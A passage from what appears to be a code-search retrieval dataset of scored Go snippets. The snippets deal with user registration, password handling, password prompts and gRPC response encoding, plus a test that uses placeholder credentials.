`json:\"scope,omitempty\"`\n\t}\n\n\ttype registrationResponse struct {\n\t\tAccessToken string `json:\"access_token,omitempty\"`\n\t\tRefreshToken string `json:\"refresh_token,omitempty\"`\n\t\tUser model.User `json:\"user,omitempty\"`\n\t}\n\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\t//parse data\n\t\td := registrationData{}\n\t\tif ar.MustParseJSON(w, r, &d) != nil {\n\t\t\treturn\n\t\t}\n\n\t\t//validate password\n\t\tif err := model.StrongPswd(d.Password); err != nil {\n\t\t\tar.Error(w, err, http.StatusBadRequest, \"\")\n\t\t\treturn\n\t\t}\n\n\t\t//create new user\n\t\tuser, err := ar.userStorage.AddUserByNameAndPassword(d.Username, d.Password, d.Profile)\n\t\tif err != nil {\n\t\t\tar.Error(w, err, http.StatusBadRequest, \"\")\n\t\t\treturn\n\t\t}\n\n\t\t//do login flow\n\t\tscopes, err := ar.userStorage.RequestScopes(user.ID(), d.Scope)\n\t\tif err != nil {\n\t\t\tar.Error(w, err, http.StatusBadRequest, \"\")\n\t\t\treturn\n\t\t}\n\n\t\tapp := appFromContext(r.Context())\n\t\tif app == nil {\n\t\t\tar.logger.Println(\"Error getting App\")\n\t\t\tar.Error(w, ErrorRequestInvalidAppID, http.StatusBadRequest, \"\")\n\t\t\treturn\n\t\t}\n\n\t\ttoken, err := ar.tokenService.NewToken(user, scopes, app)\n\t\tif err != nil {\n\t\t\tar.Error(w, err, http.StatusUnauthorized, \"\")\n\t\t\treturn\n\t\t}\n\n\t\ttokenString, err := ar.tokenService.String(token)\n\t\tif err != nil {\n\t\t\tar.Error(w, err, http.StatusInternalServerError, \"\")\n\t\t\treturn\n\t\t}\n\n\t\trefreshString := \"\"\n\t\t//requesting offline access ?\n\t\tif contains(scopes, model.OfflineScope) {\n\t\t\trefresh, err := ar.tokenService.NewRefreshToken(user, scopes, app)\n\t\t\tif err != nil {\n\t\t\t\tar.Error(w, err, http.StatusInternalServerError, \"\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\trefreshString, err = ar.tokenService.String(refresh)\n\t\t\tif err != nil {\n\t\t\t\tar.Error(w, err, http.StatusInternalServerError, \"\")\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tuser.Sanitize()\n\n\t\tresult := registrationResponse{\n\t\t\tAccessToken: tokenString,\n\t\t\tRefreshToken: refreshString,\n\t\t\tUser: user,\n\t\t}\n\n\t\tar.ServeJSON(w, http.StatusOK, result)\n\t}\n}", "title": "" }, { "docid": "d521e539bd466cfb2a4053b81a8485e2", "score": "0.45892534", "text": "func TestResourceOwner(t *testing.T) {\n\tctx, cancel := clear()\n\tdefer cancel()\n\tstatusChanges := make([]bool, 0)\n\tWatchGlobalReady(func(status bool) {\n\t\tstatusChanges = append(statusChanges, status)\n\t})\n\n\t// first request will fail\n\trespCode = http.StatusInternalServerError\n\treqCount = 0\n\n\tclientID := \"koala-clientID\"\n\tsecret := \"koala-secret\"\n\tauthHeader := \"Basic \" + base64.StdEncoding.\n\t\tEncodeToString(\n\t\t\t[]byte(clientID+\":\"+secret),\n\t\t)\n\ta, err := ResourceOwner(ctx, ResourceOwnerOptions{\n\t\tUrl: ts.URL,\n\t\tUsername: \"koala\",\n\t\tPassword: \"pass\",\n\t\tClientID: clientID,\n\t\tSecret: secret,\n\t})\n\tassert.Nil(t, err, \"Should not return error if all options are set\")\n\t// speed up retry process\n\tretryWait.SetBaseDuration(1)\n\n\tvar token string\n\tselect {\n\tcase token = <-a.GetToken():\n\t\tassert.Equal(t, \"2\", token, \"Supplied token doesn't match send token\")\n\tcase <-time.After(time.Millisecond * 50):\n\t\tassert.Fail(t, \"Token not received\")\n\t}\n\n\tassert.Equal(t, \"koala\", lastQuery.Get(\"username\"), \"Received incorrect username\")\n\tassert.Equal(t, \"pass\", lastQuery.Get(\"password\"), \"Received incorrect password\")\n\tassert.Equal(t, \"password\", lastQuery.Get(\"grant_type\"), \"Received incorrect grant type\")\n\tassert.Equal(t, authHeader, lastHeaders.Get(\"authorization\"), \"Received incorrect header\")\n\n\t// ready should be true\n\tassert.True(t, globalReadyStatus(), \"We have retrieved the token, so global ready status should be true\")\n\trespCode = http.StatusInternalServerError\n\tgo a.Refresh()\n\t<-time.After(time.Millisecond)\n\tassert.False(t, globalReadyStatus(), \"We have asked for refresh - global ready status should immediately be false\")\n\n\tselect {\n\tcase token = <-a.GetToken():\n\t\tassert.Equal(t, \"4\", token, \"Supplied token doesn't match send token\")\n\t\tassert.True(t, globalReadyStatus(), \"We have retrieved the token, so global ready status should be true\")\n\tcase <-time.After(time.Millisecond * 50):\n\t\tassert.Fail(t, \"Token not received\")\n\t}\n\n\t//assert.Fail(t, \"-- to see output\")\n}", "title": "" }, { "docid": "cdfc429bd9513877ce3fcfd15b0968a3", "score": "0.45856556", "text": "func (o BackendProxyPtrOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *BackendProxy) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Password\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "1d57f0596b15bf8be6b7a51964dfddc7", "score": "0.45744744", "text": "func (client IdentityClient) createSwiftPassword(ctx context.Context, request common.OCIRequest, binaryReqBody *common.OCIReadSeekCloser, extraHeaders map[string]string) (common.OCIResponse, error) {\n\n\thttpRequest, err := request.HTTPRequest(http.MethodPost, \"/users/{userId}/swiftPasswords\", binaryReqBody, extraHeaders)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar response CreateSwiftPasswordResponse\n\tvar httpResponse *http.Response\n\thttpResponse, err = client.Call(ctx, &httpRequest)\n\tdefer common.CloseBodyIfValid(httpResponse)\n\tresponse.RawResponse = httpResponse\n\tif err != nil {\n\t\treturn response, err\n\t}\n\n\terr = common.UnmarshalResponse(httpResponse, &response)\n\treturn response, err\n}", "title": "" }, { "docid": "9a6a5d47b7f94a7a19b43f4f1f5ddf02", "score": "0.45676243", "text": "func (m *BasicAuthentication) SetPassword(value *string)() {\n m.password = value\n}", "title": "" }, { "docid": "b3cd40adfc58971a8d33b00a551a2aad", "score": "0.45609882", "text": "func resourceUpdateAuthServer(d *schema.ResourceData, m interface{}) error {\n\treturn nil\n}", "title": "" }, { "docid": "b6bb96ccb4df336ec0ea1b3ebc3e5bf3", "score": "0.4553538", "text": "func Password(pr string) string {\n\treturn defaultPrompter.Password(pr)\n}", "title": "" }, { "docid": "f1b50fc855b7a3ecd0694b7a2d392373", "score": "0.45424688", "text": "func (o CustomAccountOutput) Password() pulumi.StringOutput {\n\treturn o.ApplyT(func(v CustomAccount) string { return v.Password }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "f1b50fc855b7a3ecd0694b7a2d392373", "score": "0.45424688", "text": "func (o CustomAccountOutput) Password() pulumi.StringOutput {\n\treturn o.ApplyT(func(v CustomAccount) string { return v.Password }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "96357e3a73562d296540c29e83b704d0", "score": "0.4542223", "text": "func (am *GaeAccessManager) SetPassword(personUuid, password string, updator Session) error {\n\n\tk := datastore.NameKey(\"Person\", personUuid, nil)\n\tk.Namespace = updator.Site()\n\ti := new(GaePerson)\n\terr := am.client.Get(am.ctx, k, i)\n\tif err == datastore.ErrNoSuchEntity {\n\t\treturn errors.New(\"Person not found.\")\n\t} else if err != nil {\n\t\treturn err\n\t}\n\n\tif !updator.HasRole(\"s3\") && updator.PersonUuid() != personUuid {\n\t\tif i.password != nil && *i.password != \"\" {\n\t\t\treturn errors.New(\"Permission denied.\")\n\t\t}\n\t}\n\n\tbulk := &GaeEntityAuditLogCollection{}\n\tbulk.SetEntityUuidPersonUuid(personUuid, updator.PersonUuid(), updator.DisplayName())\n\tif len(password) > 0 {\n\t\tbulk.AddItem(\"Password\", \"\", \"\")\n\t\ti.password = HashPassword(password)\n\t}\n\tif bulk.HasUpdates() {\n\t\tif err = am.AddEntityChangeLog(bulk, updator); err != nil {\n\t\t\tam.Error(updator, `datastore`, \"SetPerson() failed persisting changelog. Error: %v\", err)\n\t\t\treturn err\n\t\t}\n\t\tif _, err := am.client.Put(am.ctx, k, i); err != nil {\n\t\t\tam.Error(updator, `datastore`, \"SetPerson() failed. Error: %v\", err)\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n\n}", "title": "" }, { "docid": "b1894ae940bd8b5b3ca52a108e2922f8", "score": "0.4529654", "text": "func (m *BasicAuthentication) SetPassword(value *string)() {\n err := m.GetBackingStore().Set(\"password\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "195ee20dff476c5efdeba8849629d7c8", "score": "0.45253566", "text": "func (m *BasicAuthentication) GetPassword()(*string) {\n return m.password\n}", "title": "" }, { "docid": "0c1e5901e9e2f9a282f4bed55899c61b", "score": "0.45249453", "text": "func PromptPassword(w *Wallet, name string) (_ []byte, err error) {\n\thas, err := w.KeyExists(name)\n\tif err != nil {\n\t\treturn\n\t}\n\tif !has {\n\t\treturn nil, fmt.Errorf(\"%q wallet does not exist\", name)\n\t}\n\tpassword := prompt.PasswordMasked(fmt.Sprintf(\"Wallet %q password\", name))\n\tif password == \"\" {\n\t\treturn nil, errors.New(\"failed to get decryption password\")\n\t}\n\treturn []byte(password), nil\n}", "title": "" }, { "docid": "2d250175a2c0e0f26e0cd2e4d610c7c1", "score": "0.45243588", "text": "func (o CustomAccountPtrOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *CustomAccount) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.Password\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "2d250175a2c0e0f26e0cd2e4d610c7c1", "score": "0.45243588", "text": "func (o CustomAccountPtrOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *CustomAccount) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.Password\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "2e334fc555a0ebdc0c65d658fe1ac81c", "score": "0.4508395", "text": "func promptForPassword() ([]byte, error) {\n\t// Use a raw terminal.\n\toldState, err := terminal.MakeRaw(0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\t_ = terminal.Restore(0, oldState)\n\t}()\n\n\tfmt.Print(\"Enter password: \")\n\tone, err := terminal.ReadPassword(0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfmt.Print(\"\\nConfirm password: \")\n\ttwo, err := terminal.ReadPassword(0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// Make sure stdout moves on to the next line.\n\tfmt.Print(\"\\n\")\n\tif !bytes.Equal(one, two) {\n\t\treturn nil, errors.Errorf(\"password mismatch\")\n\t}\n\treturn one, nil\n}", "title": "" }, { "docid": "90c93de2f779150d9e91ce66f31d2d00", "score": "0.45029998", "text": "func (r *Reconciler) encryptPassword(ctx context.Context, user *iamv1alpha2.User) error {\n\t// password is not empty and not encrypted\n\tif user.Spec.EncryptedPassword != \"\" && !isEncrypted(user.Spec.EncryptedPassword) {\n\t\tpassword, err := encrypt(user.Spec.EncryptedPassword)\n\t\tif err != nil {\n\t\t\tklog.Error(err)\n\t\t\treturn err\n\t\t}\n\t\tuser.Spec.EncryptedPassword = password\n\t\tif user.Annotations == nil {\n\t\t\tuser.Annotations = make(map[string]string)\n\t\t}\n\t\tuser.Annotations[iamv1alpha2.LastPasswordChangeTimeAnnotation] = time.Now().UTC().Format(time.RFC3339)\n\t\t// ensure plain text password won't be kept anywhere\n\t\tdelete(user.Annotations, corev1.LastAppliedConfigAnnotation)\n\t\terr = r.Update(ctx, user, &client.UpdateOptions{})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "149dcf97d020627d942df3408192a861", "score": "0.44924435", "text": "func (*UserGrant) Descriptor() ([]byte, []int) {\n\treturn file_management_proto_rawDescGZIP(), []int{123}\n}", "title": "" }, { "docid": "a5f7f7fa078232c35d88045632a3e63c", "score": "0.44871247", "text": "func (c *client) Perm(u *model.User, owner, name string) (*model.Perm, error) {\n\tclient := c.newClientToken(u.Token)\n\trepo, err := client.GetRepo(owner, name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn toPerm(repo.Permissions), nil\n}", "title": "" } ]
1dcfb0f310895bfe9e1e9914118ac1fe
EncodeGrpcRespDns encodes GRC response
[ { "docid": "6edc524f8a2b502ec13a84bbe36d867f", "score": "0.8463168", "text": "func EncodeGrpcRespDns(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" } ]
[ { "docid": "b0da834da590445e73326f3f8dbb6925", "score": "0.6963282", "text": "func DecodeGrpcRespDns(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "a500a0e92ba1d8c6b631785693a158eb", "score": "0.6882364", "text": "func EncodeGrpcReqDns(ctx context.Context, request interface{}) (interface{}, error) {\n\treq := request.(*Dns)\n\treturn req, nil\n}", "title": "" }, { "docid": "73ecbf806e233d103d1b996a3381ee4a", "score": "0.6699781", "text": "func EncodeGrpcRespMsrpc(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "7cb7de6511ebf503b56bf26b0820856e", "score": "0.6471531", "text": "func EncodeGrpcRespALG(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "193f9c087b03a8b363ebfb98dd4bef66", "score": "0.6313629", "text": "func EncodeGrpcRespIcmp(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "5ee98a789f6865b735b08d9a19f20628", "score": "0.6264417", "text": "func encodeGRPCConcatResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tresp := response.(addendpoint.ConcatResponse)\n\treturn &pb.ConcatReply{V: resp.V, Err: err2str(resp.Err)}, nil\n}", "title": "" }, { "docid": "97d9fb4feb9e2a020807e5c9fd007ae1", "score": "0.6110592", "text": "func EncodeGrpcRespSunrpc(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "c810a3087942dab9061a2d0d70244710", "score": "0.6097822", "text": "func EncodeGrpcRespFtp(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "266996bf3bb5ea5e21bb9f71b9028cc3", "score": "0.59800845", "text": "func EncodeGRPCCreateNetworkResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tres := response.(CreateNetworkResponse)\n\tgRPCRes := &pb.CreateNetworkResponse{}\n\tif res.Error != nil {\n\t\tgRPCRes.Error = res.Error.Error()\n\t}\n\treturn gRPCRes, nil\n}", "title": "" }, { "docid": "0c961a8da548df3682bee2296fbd2ac7", "score": "0.5949118", "text": "func encodeGRPCSumResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tresp := response.(addendpoint.SumResponse)\n\treturn &pb.SumReply{V: int64(resp.V), Err: err2str(resp.Err)}, nil\n}", "title": "" }, { "docid": "c083d7447998f72558312583f7ec82db", "score": "0.5896076", "text": "func DecodeGrpcReqDns(ctx context.Context, request interface{}) (interface{}, error) {\n\treq := request.(*Dns)\n\treturn req, nil\n}", "title": "" }, { "docid": "10283c19f732d91ef515d0c3607afd21", "score": "0.5774498", "text": "func (e *Error) grpcEncode() {\n\tgrpcStatus := new(spb.Status)\n\tgrpcStatus.Code = int32(e.Code)\n\tgrpcStatus.Message = e.Message\n\tgrpcStatus.Details = make([]*any.Any, 0)\n\tany := new(any.Any)\n\tif e.Service == \"\" {\n\t\tany.TypeUrl = \"unknown Service\"\n\t} else {\n\t\tany.TypeUrl = e.Service\n\t}\n\tgrpcStatus.Details = append(grpcStatus.Details, any)\n\te.s = grpcStatus\n}", "title": "" }, { "docid": "caa52850d5e5239673c054a0efceb756", "score": "0.55954856", "text": "func EncodeGRPCAddContainerToNetworkResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tres := response.(AddContainerToNetworkResponse)\n\tgRPCRes := &pb.AddContainerToNetworkResponse{}\n\tif res.Error != nil {\n\t\tgRPCRes.Error = res.Error.Error()\n\t}\n\treturn gRPCRes, nil\n}", "title": "" }, { "docid": "784529b153ae311e19bbe9323bba88de", "score": "0.5513549", "text": "func EncodeGrpcRespApp(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "43a6bcc4e40cacd9cd056ad504179791", "score": "0.5511618", "text": "func EncodeGRPCTokenVerifyResponse(_ context.Context, r interface{}) (interface{}, error) {\n\n\tif resp, k := r.(*models.TokenVerifyResponse); k {\n\t\treturn &pb.TokenVerifyResponse{Access: &pb.ServiceAccess{\n\t\t\tStatus: pb.TokenStatus(resp.Access.Status), UserId: fmt.Sprintf(\"%d\", resp.Access.UserID), Claims: resp.MapClaims()}}, nil\n\t}\n\n\tif resp, k := r.(*models.ResponseObject); k {\n\n\t\treturn &pb.TokenVerifyResponse{\n\t\t\tError: &pb.ServiceError{\n\t\t\t\tError: resp.Error, Code: int32(resp.Code)},\n\t\t}, nil\n\t}\n\n\treturn &pb.TokenVerifyResponse{\n\t\tError: &pb.ServiceError{\n\t\t\tError: \"Unknown error\", Code: int32(http.StatusInternalServerError)},\n\t}, nil\n}", "title": "" }, { "docid": "18c0acb9d88831dfabe26e693997b692", "score": "0.5505335", "text": "func encodeWithGrpcCode(_ context.Context, err error) (string, []string, proto.Message) {\n\tw := err.(*withGrpcCode)\n\tdetails := []string{fmt.Sprintf(\"gRPC %d\", w.code)}\n\tpayload := &EncodedGrpcCode{Code: uint32(w.code)}\n\treturn \"\", details, payload\n}", "title": "" }, { "docid": "5e0e574b53ebb85b42ebc7b61bad5901", "score": "0.5498783", "text": "func EncodeGrpcRespAppSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "6aa6d6d1b69430a9b35dee85434b6541", "score": "0.5483404", "text": "func EncodeGRPCSubResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tresp := response.(*pb.Response)\n\treturn resp, nil\n}", "title": "" }, { "docid": "4bad4c2685259fa635e87c3509dac724", "score": "0.54388463", "text": "func EncodeGRPCAddResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tresp := response.(*pb.Response)\n\treturn resp, nil\n}", "title": "" }, { "docid": "496d8c866921abc6c0df635dfd802eb6", "score": "0.54119384", "text": "func decodeGRPCConcatResponse(_ context.Context, grpcReply interface{}) (interface{}, error) {\n\treply := grpcReply.(*pb.ConcatReply)\n\treturn addendpoint.ConcatResponse{V: reply.V, Err: str2err(reply.Err)}, nil\n}", "title": "" }, { "docid": "71b054bf0b0fcd830726b8eb4fea771d", "score": "0.5376209", "text": "func EncodeGrpcRespAppStatus(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "1657fd74bd62c0fd7e60f0f57c67eab0", "score": "0.5375717", "text": "func resToString(res *proto.GetResponse) string {\n\n\tif res.Value != nil {\n\t\tif res.Value.Bytes != nil {\n\t\t\treturn string(res.Value.Bytes)\n\t\t} else {\n\t\t\tfmt.Printf(\"res.value.bytes == nil\\n\")\n\t\t\treturn \"nil\"\n\t\t}\n\t} else {\n\n\t\treturn \"nil\"\n\t}\n\n}", "title": "" }, { "docid": "e60cfdf64d7241310ba88a388cc47a78", "score": "0.5342667", "text": "func EncodeGRPCRemoveNetworkByNameResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tres := response.(RemoveNetworkByNameResponse)\n\tgRPCRes := &pb.RemoveNetworkByNameResponse{}\n\tif res.Error != nil {\n\t\tgRPCRes.Error = res.Error.Error()\n\t}\n\treturn gRPCRes, nil\n}", "title": "" }, { "docid": "c5924d2075370670fa17040fe2976421", "score": "0.5312099", "text": "func decodeGRPCConcatResponse(_ context.Context, grpcReply interface{}) (interface{}, error) {\n\treply := grpcReply.(*addsvcpb.ConcatReply)\n\treturn &endpoint2.ConcatResponse{V: reply.V, RetCode: reply.Retcode}, nil\n}", "title": "" }, { "docid": "51b1cb61d5b9a15f4f232249f66cb48d", "score": "0.5304384", "text": "func DecodeGrpcRespMsrpc(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "e45d93dce2689cd38e438e05af955333", "score": "0.530411", "text": "func EncodeGRPCTokenResponse(_ context.Context, r interface{}) (interface{}, error) {\n\tresp := r.(*TokenResponse)\n\n\treturn &pb.TokenResponse{\n\t\tError: &pb.ServiceError{\n\t\t\tError: resp.Error.Error, Code: int32(resp.Error.Code)},\n\t\tTokens: &pb.TokenPair{\n\t\t\tAuthToken: resp.Response.AccessToken,\n\t\t\tRefreshToken: resp.Response.RefreshToken}}, nil\n}", "title": "" }, { "docid": "86c211988ae058209effe7c014754897", "score": "0.5300574", "text": "func registerResp(fn reflect.Value, typ reflect.Type) func(net.Conn) error {\n\treturn func(conn net.Conn) error {\n\t\t// call fn\n\t\tretvals := fn.Call(nil)\n\t\tresp, errInter := retvals[0].Interface(), retvals[1].Interface()\n\t\t// write resp\n\t\tif _, err := encoding.WriteObject(conn, resp); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// write err\n\t\tvar errStr string\n\t\tif errInter != nil {\n\t\t\terrStr = errInter.(error).Error()\n\t\t}\n\t\t_, err := encoding.WriteObject(conn, errStr)\n\t\treturn err\n\t}\n}", "title": "" }, { "docid": "3b02ed9e593d3c2c4b69106b2c155b9b", "score": "0.5276606", "text": "func (e TL_resPQ) encode() []byte { return nil }", "title": "" }, { "docid": "961ac55c1f77783feeae9b260c4662ae", "score": "0.525914", "text": "func EncodeGRPCExposePortToContainerResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tres := response.(ExposePortToContainerResponse)\n\tgRPCRes := &pb.ExposePortToContainerResponse{}\n\tif res.Error != nil {\n\t\tgRPCRes.Error = res.Error.Error()\n\t}\n\treturn gRPCRes, nil\n}", "title": "" }, { "docid": "c3dc5af9b7c7e108390d59cf3546cc33", "score": "0.5235454", "text": "func EncodeGrpcRespObjectList(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "d3063cf684fe5319b2b54ac07b83c7c4", "score": "0.5192334", "text": "func encodeResponse(w http.ResponseWriter, r *http.Request, v interface{}) error {\n\tcodec := codecForRequest(r)\n\tdata, err := codec.Marshal(v)\n\tif err != nil {\n\t\treturn err\n\t}\n\tw.Header().Set(xhttp.HeaderContentType, xhttp.ContentType(codec.Name()))\n\t_, _ = w.Write(data)\n\treturn nil\n}", "title": "" }, { "docid": "e8d101a5ad0dc13b56cbb50608c0eb3e", "score": "0.51845056", "text": "func dnsResponseCodeToString(rcode layers.DNSResponseCode) string {\n\ts, exists := rcodeToStringMap[uint8(rcode)]\n\tif !exists {\n\t\treturn fmt.Sprintf(\"Unknown %d\", int(rcode))\n\t}\n\treturn s\n}", "title": "" }, { "docid": "490d62ed28043f271bd216b32ebd15af", "score": "0.514491", "text": "func EncodeGRPCCreateUserResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tresp := response.(*pb.User)\n\treturn resp, nil\n}", "title": "" }, { "docid": "d879b1ddde19b0d2065f7b993426c09a", "score": "0.5126701", "text": "func makeResponsePacket(t *testing.T, id uint16, name string, value int64) []byte {\n\tanswer, err := dns.NewRR(\n\t\tname + \" 100 CH TXT \" + fmt.Sprintf(\"%d\", value))\n\tif err != nil {\n\t\tt.Fatalf(\"dns.NewRR: %v\", err)\n\t}\n\tmsg := &dns.Msg{}\n\tmsg.SetQuestion(name, dns.TypeTXT)\n\tmsg.Question[0].Qclass = dns.ClassCHAOS\n\tmsg.Answer = append(msg.Answer, answer)\n\tmsg.Id = id\n\n\tbuf, err := msg.Pack()\n\tif err != nil {\n\t\tt.Fatalf(\"msg.Pack(): %v\", err)\n\t}\n\n\treturn buf\n}", "title": "" }, { "docid": "439f8b20632b7cfc53a38e14ba614c82", "score": "0.5108976", "text": "func DecodeGrpcRespALG(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "4d93e0515df7af424be4e3e828cddafe", "score": "0.50947744", "text": "func EncodeStringResponse(ctx context.Context, w http.ResponseWriter, response interface{}) error {\n e := response.(StringResponse).Err\n if e != nil {\n encodeError(ctx, e, w)\n return nil\n }\n w.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n return json.NewEncoder(w).Encode(response)\n}", "title": "" }, { "docid": "52953f34fbf82b05ea8f4afe949ac6e5", "score": "0.5080122", "text": "func (c *Codec) WriteResponse(r *rpc.Response, body interface{}) error {\n\tconst op = errors.Op(\"codec: write response\")\n\tfr := frame.NewFrame()\n\n\t// SEQ_ID + METHOD_NAME_LEN\n\tfr.WriteOptions(uint32(r.Seq), uint32(len(r.ServiceMethod)))\n\t// Write protocol version\n\tfr.WriteVersion(frame.VERSION_1)\n\n\t// load and delete associated codec to not waste memory\n\t// because we write it to the fr and don't need more information about it\n\t// as for go.14, Load and Delete are separate methods\n\tcodec, ok := c.codec.Load(r.Seq)\n\tif !ok {\n\t\t// fallback codec\n\t\tfr.WriteFlags(frame.CODEC_GOB)\n\t} else {\n\t\tfr.WriteFlags(codec.(frame.Flag))\n\t}\n\n\t// delete the key\n\tc.codec.Delete(r.Seq)\n\n\t// initialize buffer\n\tbuf := new(bytes.Buffer)\n\t// writeServiceMethod to the buffer\n\tbuf.WriteString(r.ServiceMethod)\n\n\t// if error returned, we sending it via relay and return error from WriteResponse\n\tif r.Error != \"\" {\n\t\t// Append error flag\n\t\treturn c.handleError(r, fr, buf, errors.Str(r.Error))\n\t}\n\n\t// read flag previously written\n\t// TODO might be better to save it to local variable\n\tflags := fr.ReadFlags()\n\n\tswitch {\n\tcase flags&byte(frame.CODEC_JSON) != 0:\n\t\terr := encodeJSON(buf, body)\n\t\tif err != nil {\n\t\t\treturn c.handleError(r, fr, buf, err)\n\t\t}\n\t\t// send buffer\n\t\treturn c.sendBuf(fr, buf)\n\tcase flags&byte(frame.CODEC_MSGPACK) != 0:\n\t\terr := encodeMsgPack(buf, body)\n\t\tif err != nil {\n\t\t\treturn c.handleError(r, fr, buf, err)\n\t\t}\n\t\t// send buffer\n\t\treturn c.sendBuf(fr, buf)\n\tcase flags&byte(frame.CODEC_RAW) != 0:\n\t\terr := encodeRaw(buf, body)\n\t\tif err != nil {\n\t\t\treturn c.handleError(r, fr, buf, err)\n\t\t}\n\t\t// send buffer\n\t\treturn c.sendBuf(fr, buf)\n\tcase flags&byte(frame.CODEC_GOB) != 0:\n\t\terr := encodeGob(buf, body)\n\t\tif err != nil {\n\t\t\treturn c.handleError(r, fr, buf, err)\n\t\t}\n\t\t// send buffer\n\t\treturn c.sendBuf(fr, buf)\n\tdefault:\n\t\treturn c.handleError(r, fr, buf, errors.E(op, errors.Str(\"unknown codec\")))\n\t}\n}", "title": "" }, { "docid": "61d7192c317f3e76c12b298578b2855c", "score": "0.5068298", "text": "func encodeGoGoStatus(ctx context.Context, err error) (string, []string, proto.Message) {\n\treturn encodeGrpcStatus(ctx, err)\n}", "title": "" }, { "docid": "017ce2fec777985cd6043aec430a6928", "score": "0.5063369", "text": "func (dns *dnsPacket) dnsToBytes() ([]byte, error) {\n\tresult := make([]byte, 12, 512)\n\tbinary.BigEndian.PutUint16(result, dns.id)\n\tresult[2] = (boolToByte(dns.qr) << 7) + (dns.opcode & 15 << 3)\n\tresult[2] += (boolToByte(dns.aa) << 2) + (boolToByte(dns.tc) << 1) + boolToByte(dns.rd)\n\tresult[3] = (boolToByte(dns.ra) << 7) + (dns.rcode & 15)\n\tbinary.BigEndian.PutUint16(result[4:], dns.qdcount)\n\tbinary.BigEndian.PutUint16(result[6:], dns.ancount)\n\tqbytes, err := dns.question.writeToBytes()\n\tif errorCheck(err) {\n\t\treturn nil, err\n\t}\n\tabytes, err := dns.answer.writeToBytes()\n\tif errorCheck(err) {\n\t\treturn nil, err\n\t}\n\tresult = append(result, qbytes...)\n\tresult = append(result, abytes...)\n\tif len(result) > 512 {\n\t\treturn nil, errors.New(\"Too much data for dns packet\")\n\t} else {\n\t\treturn result, nil\n\t}\n}", "title": "" }, { "docid": "147a162163c5912146ab0ed53bea3276", "score": "0.50515985", "text": "func EncodeGRPCAuthenticateResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tresp := response.(AuthResponse)\n\treturn &proto.AuthReply{Response: resp.Response}, nil\n}", "title": "" }, { "docid": "74ce9b8ee633b9f970090d7ea058c3b5", "score": "0.50464654", "text": "func EncodeGRPCRemoveContainerFromNetworkResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tres := response.(RemoveContainerFromNetworkResponse)\n\tgRPCRes := &pb.RemoveContainerFromNetworkResponse{}\n\tif res.Error != nil {\n\t\tgRPCRes.Error = res.Error.Error()\n\t}\n\treturn gRPCRes, nil\n}", "title": "" }, { "docid": "73bf030933672b93fdf1de1984e76b3b", "score": "0.503603", "text": "func EncodeSecureResponse(ctx context.Context, v any, hdr, trlr *metadata.MD) (any, error) {\n\tresult, ok := v.(string)\n\tif !ok {\n\t\treturn nil, goagrpc.ErrInvalidType(\"secured_service\", \"secure\", \"string\", v)\n\t}\n\tresp := NewProtoSecureResponse(result)\n\treturn resp, nil\n}", "title": "" }, { "docid": "9f878e5c15f910df478b42445bdc6387", "score": "0.50262105", "text": "func EncodeDoublySecureResponse(ctx context.Context, v any, hdr, trlr *metadata.MD) (any, error) {\n\tresult, ok := v.(string)\n\tif !ok {\n\t\treturn nil, goagrpc.ErrInvalidType(\"secured_service\", 